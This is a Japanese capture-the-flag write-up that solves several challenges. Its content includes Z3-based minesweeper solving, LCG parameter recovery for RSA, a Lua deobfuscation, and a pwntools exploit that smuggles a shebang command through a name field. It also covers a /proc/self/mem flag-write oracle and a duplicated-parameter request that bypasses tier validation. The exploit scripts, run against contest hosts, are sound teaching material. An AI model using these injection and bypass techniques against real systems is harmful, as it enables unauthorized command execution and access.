8問、688位、93位。
misc
MINE THE GAP
3600×1632マスのマインスイーパー。普通のマインスイーパーと違って、マスを開けることはせず、旗を立てるだけ。また、最初から立っている旗を消すことはできない。
一部を見るとこんな感じ。
全体はこう。
論理回路になっているので、各部分がどういうゲートなのかを読み取って、Z3 に掛ければ解けそう。面倒だな。マインスイーパーの問題をそのまま投げても解けた。
未確定のマスを変数にし、周囲に未確定のマスがある数字から制約を作る。
from z3 import *
import hashlib
B = open("gameboard.txt", "r").read().replace(" ", "0").split()
#B = open("small.txt", "r").read().replace(" ", "0").split()
B = [[int(x, 16) for x in b] for b in B]
H = len(B)
W = len(B[0])
s = Solver()
V = {}
for y in range(H):
for x in range(W):
if B[y][x]==9:
v = Int(f"{x}_{y}")
s.add(0<=v, v<=1)
V[(x, y)] = v
print(f"{len(V)=}")
DX = [-1, 0, 1, 1, 1, 0, -1, -1]
DY = [-1, -1, -1, 0, 1, 1, 1, 0]
cn = 0
for y in range(1, H-1):
for x in range(1, W-1):
if 1<=B[y][x]<=8:
fn = 0
nn = 0
for d in range(8):
tx = x+DX[d]
ty = y+DY[d]
if B[ty][tx]==11:
fn += 1
if B[ty][tx]==9:
nn += 1
if nn>0:
c = None
for d in range(8):
tx = x+DX[d]
ty = y+DY[d]
if B[ty][tx]==9:
if c is None:
c = V[(tx, ty)]
else:
c = c+V[(tx, ty)]
s.add(c==B[y][x]-fn)
cn += 1
print(f"{cn=}")
if s.check()!=sat:
print("NG")
exit()
m = s.model()
for k in V:
if m[V[k]].as_long()==1:
B[k[1]][k[0]] = 10
result = "\n".join("".join(f"{x:X}" for x in b) for b in B).replace("0", " ")
open("result.txt", "wt").write(result)
bits = []
for x in range(W):
bit = 1 if B[23][x] in [10, 11] else 0
bits.append(bit)
flag = hashlib.sha256(bytes(bits)).hexdigest()
print(f'Flag: CTF{{{flag}}}')
$ time python3 solve.py
len(V)=188016
cn=563893
Flag: CTF{d8675fca837faa20bc0f3a7ad10e9d2682fa0c35c40872938f1d45e5ed97ab27}
real 7m10.350s
user 7m2.343s
sys 0m7.561s
CTF{d8675fca837faa20bc0f3a7ad10e9d2682fa0c35c40872938f1d45e5ed97ab27}
PAPAPAPA
真っ白なJpeg画像。
適当に先頭のほうの1バイトを書き換えてグリッチさせたらフラグが出てきた。
CTF{rearview-monorail-mullets-backroom-stopped}
crypto
LEAST COMMON GENOMINATOR?
線形合同法(Linear congruential generators、LCG)による乱数で、素数が8個のRSA暗号をしている。乱数のパラメタは秘密だが、seedと最初の6個の乱数は与えられる。
乱数のパラメタはここに書いてある方法で推測できる。
X = [
211286818345627549183608678726370412218029639873054513839005340650674982169404937862395980568550063504804783328450267566224937880641772833325018028629959635,
2166771675595184069339107365908377157701164485820981409993925279512199123418374034275465590004848135946671454084220731645099286746251308323653144363063385,
6729272950467625456298454678219613090467254824679318993052294587570153424935267364971827277137521929202783621553421958533761123653824135472378133765236115,
2230396903302352921484704122705539403201050490164649102182798059926343096511158288867301614648471516723052092761312105117735046752506523136197227936190287,
4578847787736143756850823407168519112175260092601476810539830792656568747136604250146858111418705054138266193348169239751046779010474924367072989895377792,
7578332979479086546637469036948482551151240099803812235949997147892871097982293017256475189504447955147399405791875395450814297264039908361472603256921612,
2550420443270381003007873520763042837493244197616666667768397146110589301602119884836605418664463550865399026934848289084292975494312467018767881691302197,
]
import math
T = [x1-x0 for x0, x1 in zip(X[:-1], X[1:])]
n = math.gcd(
T[2]*T[0]-T[1]*T[1],
T[3]*T[1]-T[2]*T[2],
T[4]*T[2]-T[3]*T[3],
)
print(f"{n=}")
m = T[1]*pow(T[0], -1, n)%n
print(f"{m=}")
c = (X[1]-m*X[0])%n
print(f"{c=}")
assert X[6]==(X[5]*m+c)%n
$ python3 solve.py
n=8311271273016946265169120092240227882013893131681882078655426814178920681968884651437107918874328518499850252591810409558783335118823692585959490215446923
m=99470802153294399618017402366955844921383026244330401927153381788409087864090915476376417542092444282980114205684938728578475547514901286372129860608477
c=3910539794193409979886870049869456815685040868312878537393070815966881265118275755165613835833103526090552456472867019296386475520134783987251699999776365
問題のソースコードを書き換えて復号。
#from secret import config
class C:
pass
config = C()
config.m = 99470802153294399618017402366955844921383026244330401927153381788409087864090915476376417542092444282980114205684938728578475547514901286372129860608477
config.c = 3910539794193409979886870049869456815685040868312878537393070815966881265118275755165613835833103526090552456472867019296386475520134783987251699999776365
config.n = 8311271273016946265169120092240227882013893131681882078655426814178920681968884651437107918874328518499850252591810409558783335118823692585959490215446923
config.it = 8
config.bits = 512
config.e = 65537
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, isPrime
class LCG:
lcg_m = config.m
:
# Calculate private key 'd'
d = pow(config.e, -1, phi)
enc = int.from_bytes(open("flag.txt", "rb").read(), "little")
flag = pow(enc, d, n)
print(flag.to_bytes(n.bit_length(), "big").decode())
$ python3 generate2.py
[+] Public Key: 10663197782188755187683519128391607889384236984841159980368295444757556251666173181966270935627381363634363152017932100870866073743196496182631686860974529519304898483583880797787662017633083156395595834399833548697123723014690019039843286516441722069672629491734333533874814655021750465470744221908153042891598629847474248035637833322061522018106952433195747728295433960640630861246440503259390376775374597599893181929337896828585045200809527092809746018806372033463639511758548910283175609247004446838778595246305426570138737826179346237355482797652195577697810275921391495040635386160960077290295503041318571091585994232128977189250560450541724526298324540333633756525782039764692046496665886338829810667477580556894564708344208454824227841439832096019161139930247745872364451624685509376111571650368725564985474387879414080347347860850162991841345901292668284154455326375190710973306072342463052980587717861754724857153296737480485351289440257347649463959856275061657492903860650820592573032713540474706170687783458640870091611869081448943812812946839710972240290444677129959352614435646729998203754847928052523568784250017348717982594389028978174915940120215557880850880860400503991453968452316505964854586987874049061874850121
[+] size: 4090 bits
CTF{C0nGr@tz_RiV35t_5h4MiR_nD_Ad13MaN_W0ulD_b_h@pPy}
CTF{C0nGr@tz_RiV35t_5h4MiR_nD_Ad13MaN_W0ulD_b_h@pPy}
pwn
STORYGEN
:
name = input("What's your name?\n")
where = input("Where are you from?\n")
def sanitize(s):
return s.replace("'", '').replace("\n", "")
name = sanitize(name)
where = sanitize(where)
STORY = """
#@NAME's story
NAME='@NAME'
WHERE='@WHERE'
echo "$NAME came from $WHERE. They always liked living there."
echo "They had 3 pets:"
:
"""
open("/tmp/script.sh", "w").write(STORY.replace("@NAME", name).replace("@WHERE", where).strip())
os.chmod("/tmp/script.sh", 0o777)
while True:
s = input("Do you want to hear the personalized, procedurally-generated story?\n")
if s.lower() != "yes":
break
print()
print()
os.system("/tmp/script.sh")
print()
print()
print("Bye!")
'
と改行を削除してシェルスクリプトに与えた文字列を埋め込み、実行する。
'...'
の中は '
以外は何でも書けるのでどうしようもない。#@NAME's story
の部分を使う。改行はできないが、shebang(スクリプトの1行目にある #!/bin/sh
)と認識させることはできる。
これに気が付いたら終わりかと思ったけど、意外と難しい。
#!/usr/bin/ls -al / 's story
と書くと、
$ /usr/bin/ls "-al / 's story" /tmp/script.sh
が実行されるらしい。
envの -S
オプションが、1個の引数を空白で区切って複数の引数にしてくれる。これだけだと 's story
の '
のせいで上手く行かない。末尾にNUL文字を入れたら何とかなった。
from pwn import *
import time
s = remote("storygen.2023.ctfcompetition.com", 1337)
s.sendlineafter(b"What's your name?\n", b"!/usr/bin/env -S ls -al /\0")
s.sendlineafter(b"Where are you from?\n", b"aaa")
s.sendlineafter(b"Do you want to hear the personalized, procedurally-generated story?\n", b"yes")
time.sleep(1)
print(s.recv(9999).decode())
$ python3 attack.py
[+] Opening connection to storygen.2023.ctfcompetition.com on port 1337: Done
-rwxrwxrwx 1 user user 600 Jun 25 13:16 /tmp/script.sh
/:
total 80
drwxr-xr-x 17 nobody nogroup 4096 Jun 23 17:34 .
drwxr-xr-x 17 nobody nogroup 4096 Jun 23 17:34 ..
lrwxrwxrwx 1 nobody nogroup 7 Jun 5 14:02 bin -> usr/bin
drwxr-xr-x 2 nobody nogroup 4096 Apr 18 2022 boot
drwxr-xr-x 2 nobody nogroup 4096 Jun 5 14:05 dev
drwxr-xr-x 34 nobody nogroup 4096 Jun 23 17:34 etc
-rw-r--r-- 1 nobody nogroup 50 Jun 9 01:02 flag
---x--x--x 1 nobody nogroup 16056 Jun 9 01:02 get_flag
drwxr-xr-x 3 nobody nogroup 4096 Jun 23 17:34 home
:
!/usr/bin/env -S cat /flag\0
で、
To get the flag, run "/get_flag Give flag please"
#!/usr/bin/env -S cat /flag\x00's story
NAME='!/usr/bin/env -S cat /flag\x00'
WHERE='aaa'
:
!/usr/bin/env -S /get_flag Give flag please\0
とすると、
Usage: /get_flag Give flag please
/tmp/script.sh
も引数として渡されるのがダメっぽい。
!/usr/bin/env -S sh -c "/get_flag Give flag please"\0
でいけた。
CTF{Sh3b4ng_1nj3cti0n_ftw}
WRITE-FLAG-WHERE
ソースコード無し。付けてくれても良くない? あと、なぜか手元(WSL上のUbuntu)では動かない。stdoutから読み込もうとしているのが悪いのか?
Ghidraで見ると、こんな処理。
char maps[0x1000];
char flag[0x80];
int main()
{
int fmap = open("/proc/self/maps", 0);
read(fmap, maps, 0x1000);
int fflag = open("./flag.txt", 0);
if (fflag==-1) {
puts("flag.txt not found");
return 1;
}
int n = read(fflag, flag, 0x80);
if (n==0) {
puts("flag.txt empty");
return 1;
}
close(fflag);
int fstdout = dup2(1, 1337);
int fnull = open("/dev/null", 2);
dup2(fnull, 0);
dup2(fnull, 1);
dup2(fnull, 2);
close(fnull);
alarm(60);
dprintf(fstdout, "This challenge ...");
dprintf(fstdout, "%s\n\n", maps);
while (true) {
dprintf(fstdout, "Give me ...");
char buf[0x40] = {};
read(fstdout, buf, 0x40);
long offset;
int size;
int n = sscanf(buf, "0x%llx %u", &offset, &size);
if (n!=2 || size>0x7f)
break;
int fmem = open("/proc/self/mem", 2);
lseek64(fmem, offset, 0);
write(fmem, flag, size);
close(fmem);
}
exit(0);
}
要は、指定したアドレスにフラグの指定したバイト数を書き込んでくれる。ただし、標準入出力は潰されている。
この問題は2と3が続く。こういうときは2や3との差分を見ましょう。2は dprintf(fstdout, "Give me ...")
がループの外に出ていた。3はアドレスが問題バイナリ周辺の場合に弾かれていた。それなら、問題バイナリに対応するアドレスにフラグを書き込ませて、 dprintf
を利用するのでしょう。
ぱっと思いつくのは "Give me ..."
の文字列を書き換えることだけど、読み取り専用セクションにあるから書き換えられないよなぁ。一応試してみるか。書き換えられたわ。/proc/self/mem 経由だとパーミッションが無視されるのか?
$ nc wfw1.2023.ctfcompetition.com 1337
== proof-of-work: disabled ==
This challenge is not a classical pwn
In order to solve it will take skills of your own
An excellent primitive you get for free
Choose an address and I will write what I see
But the author is cursed or perhaps it's just out of spite
For the flag that you seek is the thing you will write
ASLR isn't the challenge so I'll tell you what
I'll give you my mappings so that you'll have a shot.
55909e2bf000-55909e2c0000 r--p 00000000 00:11e 810424 /home/user/chal
55909e2c0000-55909e2c1000 r-xp 00001000 00:11e 810424 /home/user/chal
55909e2c1000-55909e2c2000 r--p 00002000 00:11e 810424 /home/user/chal
55909e2c2000-55909e2c3000 r--p 00002000 00:11e 810424 /home/user/chal
55909e2c3000-55909e2c4000 rw-p 00003000 00:11e 810424 /home/user/chal
:
Give me an address and a length just so:
<address> <length>
And I'll write it wherever you want it to go.
If an exit is all that you desire
Send me nothing and I will happily expire
0x55909e2c11e0 100
CTF{Y0ur_j0urn3y_is_0n1y_ju5t_b39innin9}
CTF{Y0ur_j0urn3y_is_0n1y_ju5t_b39innin9}
WRITE-FLAG-WHERE2
前述したように、ループの中の dprintf
が消えた。
int n = sscanf(buf, "0x%llx %u", &offset, &size);
を使う。初期指定文字列を Xx%llx %u
と書き換えたとする。このとき、 Xx0000 100
と書き込めば n=2
になる。一方、 Ax0000 100
などと書き込むと、n=0
となってプログラムが終了する。X
の部分がフラグの一部になるようにして、1文字ずつ特定していく。
Pwntoolsでプログラムが終了したか(接続が切断されたか)を判定する方法が分からない。 s.closed
があってこれかなと思ったけど、 True
にならない。 recv
で例外が飛ぶかどうかで判定した。
from pwn import *
import time
context.log_level = "error"
flag = ""
for i in range(100):
for c in range(0x20, 0x7f):
c = chr(c)
s = remote("wfw2.2023.ctfcompetition.com", 1337)
for _ in range(5):
s.readline()
rodata = int(s.readline().decode().split("-")[0], 16)
t = f"{hex(rodata+0xbc-i)} {i+1}"
s.sendline(t.encode())
s.sendline((c+t[1:]).encode())
ok = True
try:
while True:
if s.recv(timeout=1)==b"":
break
except:
ok = False
s.close()
if ok:
flag += c
print(flag)
break
if flag[-1]=="}":
break
$ python3 attack.py
C
CT
CTF
CTF{
CTF{i
CTF{im
:
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}
reversing
ZERMATT
難読化Lua。5.4では動かなかったが、5.3なら動いた。
StyLua で整形。途中でインデントの深さが200くらいになっている。
do
local v0 = string.char
local v1 = string.byte
local v2 = string.sub
local v3 = bit32 or bit
local v4 = v3.bxor
local v5 = table.concat
local v6 = table.insert
local function v7(v24, v25)
local v26 = 0
local v27
while true do
if v26 == 1 then
return v5(v27)
end
if v26 == 0 then
v27 = {}
for v44 = 1, #v24 do
v6(
v27,
v0(
v4(
v1(v2(v24, v44, v44 + 1)),
v1(v2(v25, 1 + ((v44 - 1) % #v25), 1 + ((v44 - 1) % #v25) + 1))
) % 256
)
)
end
v26 = 1
end
end
end
local v8 = _G[v7("\79\15\131\30\40\13\20\203", "\59\96\237\107\69\111\113\185")]
local v9 = _G[v7("\55\2\190\232\63\247", "\68\118\204\129\81\144\122")][v7(
"\12\180\100\225",
"\110\205\16\132\107\85\33\139"
)]
:
ここが怪しい。
:
v23(
"matt1c3o0003063o00737472696e6703043o006368617203043o00627974652o033o0073756203053o0062697433322o033o0062697403043o0062786f7203053o007461626c6503063o00636f6e63617403063o00696e7365727403023o00696f03053o00777269746503293o00205o5f9o204o205f5o203o5f205o5f204o5f200a03293o007c3o202o5f7c3o5f203o5f203o5f7c207c3o5f7c3o207c5f3o205f7c2o202o5f7c0a03293o007c2o207c2o207c202e207c202e207c202e207c207c202d5f7c202d3c2o207c207c207c2o202o5f7c0a03293o007c5o5f7c3o5f7c3o5f7c5f2o207c5f7c3o5f7c3o5f7c207c5f7c207c5f7c3o200a032a3o009o205o207c3o5f7c7o205a65724d612o74202d206d697363200a03023o00409103083o007eb1a3bb4586dba703013o007303043o007265616403373o00df17eb31e4e81cc12fc4ef37f223d1c334cc39faf22cd915c4c321d43ec0ff2cc92ffafe22de2ffaef22c32ec7f33bf22fd6ff22dd2fd803053o009c43ad4aa503053o007072696e742o033o00711d9903073o002654d72976dc4603043o00d27f250703053o009e30764272004a3o00121b3o00013o0020185o000200121b000100013o00201800010001000300121b000200013o00201800020002000400121b000300053o0006160003000a000100010004033o000a000100121b000300063o00201800040003000700121b000500083o00201800050005000900121b000600083o00201800060006000a00060900073o000100062o00063o00064o00068o00063o00044o00063o00014o00063o00024o00063o00053o00121b0008000b3o00201800080008000c00120e0009000d4o000700080002000100121b0008000b3o00201800080008000c00120e0009000e4o000700080002000100121b0008000b3o00201800080008000c00120e0009000f4o000700080002000100121b0008000b3o00201800080008000c00120e000900104o000700080002000100121b0008000b3o00201800080008000c00120e000900114o000700080002000100121b0008000b3o00201800080008000c2o0006000900073o00120e000a00123o00120e000b00134o000f0009000b4o001c00083o000100121b0008000b3o0020180008000800152o001d000800010002001211000800143o00121b000800144o0006000900073o00120e000a00163o00120e000b00174o00190009000b000200060400080043000100090004033o0043000100121b000800184o0006000900073o00120e000a00193o00120e000b001a4o000f0009000b4o001c00083o00010004033o0049000100121b000800184o0006000900073o00120e000a001b3o00120e000b001c4o000f0009000b4o001c00083o00012o000c3o00013o00013o00023o00026o00f03f026o00704002284o000800025o00120e000300014o001200045o00120e000500013o0004150003002300012o000d00076o0006000800024o000d000900014o000d000a00024o000d000b00034o000d000c00044o0006000d6o0006000e00063o002005000f000600012o000f000c000f4o000b000b3o00022o000d000c00034o000d000d00044o0006000e00013o002001000f000600012o0012001000014o0013000f000f0010001017000f0001000f0020010010000600012o0012001100014o00130010001000110010170010000100100020050010001000012o000f000d00104o0014000c6o000b000a3o0002002002000a000a00022o00100009000a4o001c00073o000100040a0003000500012o000d000300054o0006000400024o001a000300046o00036o000c3o00017o00283o00093o000a3o000a3o000a3o000a3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000a3o000d3o000d3o000d3o000d3o000e3o004a3o00013o00013o00023o00023o00033o00033o00043o00043o00043o00043o00053o00063o00063o00073o00073o000e3o000e3o000e3o000e3o000e3o000e3o000e3o000f3o000f3o000f3o000f3o00103o00103o00103o00103o00113o00113o00113o00113o00123o00123o00123o00123o00133o00133o00133o00133o00143o00143o00143o00143o00143o00143o00143o00153o00153o00153o00153o00163o00163o00163o00163o00163o00163o00163o00173o00173o00173o00173o00173o00173o00173o00193o00193o00193o00193o00193o00193o001a3o00",
v17(),
...
)
:
この長い文字列は、ここで v28
に入っており、なんか変換して再代入されている。
:
v28 = v12(v11(v28, 5), v7("\168\122", "\134\84\208\67"), function(v86)
:
変換後のものをダンプ。
$ hexdump -C bytecode.luac
00000000 1c 00 00 00 03 06 00 00 00 73 74 72 69 6e 67 03 |.........string.|
00000010 04 00 00 00 63 68 61 72 03 04 00 00 00 62 79 74 |....char.....byt|
00000020 65 03 03 00 00 00 73 75 62 03 05 00 00 00 62 69 |e.....sub.....bi|
00000030 74 33 32 03 03 00 00 00 62 69 74 03 04 00 00 00 |t32.....bit.....|
00000040 62 78 6f 72 03 05 00 00 00 74 61 62 6c 65 03 06 |bxor.....table..|
00000050 00 00 00 63 6f 6e 63 61 74 03 06 00 00 00 69 6e |...concat.....in|
00000060 73 65 72 74 03 02 00 00 00 69 6f 03 05 00 00 00 |sert.....io.....|
00000070 77 72 69 74 65 03 29 00 00 00 20 5f 5f 5f 5f 5f |write.)... _____|
00000080 20 20 20 20 20 20 20 20 20 20 20 20 20 5f 20 20 | _ |
00000090 20 20 20 5f 5f 5f 20 5f 5f 5f 5f 5f 20 5f 5f 5f | ___ _____ ___|
000000a0 5f 20 0a 03 29 00 00 00 7c 20 20 20 5f 5f 7c 5f |_ ..)...| __|_|
000000b0 5f 5f 20 5f 5f 5f 20 5f 5f 5f 7c 20 7c 5f 5f 5f |__ ___ ___| |___|
000000c0 7c 20 20 20 7c 5f 20 20 20 5f 7c 20 20 5f 5f 7c || |_ _| __||
000000d0 0a 03 29 00 00 00 7c 20 20 7c 20 20 7c 20 2e 20 |..)...| | | . |
000000e0 7c 20 2e 20 7c 20 2e 20 7c 20 7c 20 2d 5f 7c 20 || . | . | | -_| |
000000f0 2d 3c 20 20 7c 20 7c 20 7c 20 20 5f 5f 7c 0a 03 |-< | | | __|..|
00000100 29 00 00 00 7c 5f 5f 5f 5f 5f 7c 5f 5f 5f 7c 5f |)...|_____|___|_|
00000110 5f 5f 7c 5f 20 20 7c 5f 7c 5f 5f 5f 7c 5f 5f 5f |__|_ |_|___|___|
00000120 7c 20 7c 5f 7c 20 7c 5f 7c 20 20 20 0a 03 2a 00 || |_| |_| ..*.|
00000130 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |.. |
00000140 7c 5f 5f 5f 7c 20 20 20 20 20 20 20 5a 65 72 4d ||___| ZerM|
00000150 61 74 74 20 2d 20 6d 69 73 63 20 0a 03 02 00 00 |att - misc .....|
00000160 00 40 91 03 08 00 00 00 7e b1 a3 bb 45 86 db a7 |.@......~...E...|
00000170 03 01 00 00 00 73 03 04 00 00 00 72 65 61 64 03 |.....s.....read.|
00000180 37 00 00 00 df 17 eb 31 e4 e8 1c c1 2f c4 ef 37 |7......1..../..7|
00000190 f2 23 d1 c3 34 cc 39 fa f2 2c d9 15 c4 c3 21 d4 |.#..4.9..,....!.|
000001a0 3e c0 ff 2c c9 2f fa fe 22 de 2f fa ef 22 c3 2e |>..,./.."./.."..|
000001b0 c7 f3 3b f2 2f d6 ff 22 dd 2f d8 03 05 00 00 00 |..;./.."./......|
000001c0 9c 43 ad 4a a5 03 05 00 00 00 70 72 69 6e 74 03 |.C.J......print.|
000001d0 03 00 00 00 71 1d 99 03 07 00 00 00 26 54 d7 29 |....q.......&T.)|
000001e0 76 dc 46 03 04 00 00 00 d2 7f 25 07 03 05 00 00 |v.F.......%.....|
000001f0 00 9e 30 76 42 72 00 4a 00 00 00 12 1b 00 00 00 |..0vBr.J........|
00000200 01 00 00 00 20 18 00 00 00 00 00 02 00 12 1b 00 |.... ...........|
:
バイトコード? 0x184バイトあたりエントロピーが高い。もとのソースコードの v7
のアルゴリズムで暗号化されているのかなと思って、0x1c0バイトのバイト列を鍵として復号してみたらフラグだった。
C = bytes.fromhex("df17eb31e4e81cc12fc4ef37f223d1c334cc39faf22cd915c4c321d43ec0ff2cc92ffafe22de2ffaef22c32ec7f33bf22fd6ff22dd2fd8")
K = bytes.fromhex("9c43ad4aa5")
P = [C[i]^K[i%len(K)] for i in range(len(C))]
print(bytes(P).decode())
$ python3 decode.py
CTF{At_least_it_was_not_a_bytecode_base_sandbox_escape}
CTF{At_least_it_was_not_a_bytecode_base_sandbox_escape}
web
UNDER-CONSTRUCTION
We were building a web app but the new CEO wants it remade in php.
PythonからPHPに移行するらしい。大変そう。
ユーザー登録機能はPython版にあり、裏でPHP版にそのままリクエストを転送して、PHP版でもユーザー登録がされるようになっている。PHP版のユーザー登録機能は直接叩けない。
tier
というパラメタを "gold"
にして登録すればPHP版からフラグが得られるが、Python版では "gold"
は弾かれる。挙動が違うようなリクエストを送れば良いでしょう。
$ curl \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=kusano8&password=depT........&tier=blue&tier=gold' \
https://under-construction-web.2023.ctfcompetition.com/signup
これでいけた。tier
を2回書くと、PHP版では1個目を見て、Python版では2個目を見るらしい。
CTF{ff79e2741f21abd77dc48f17bab64c3d}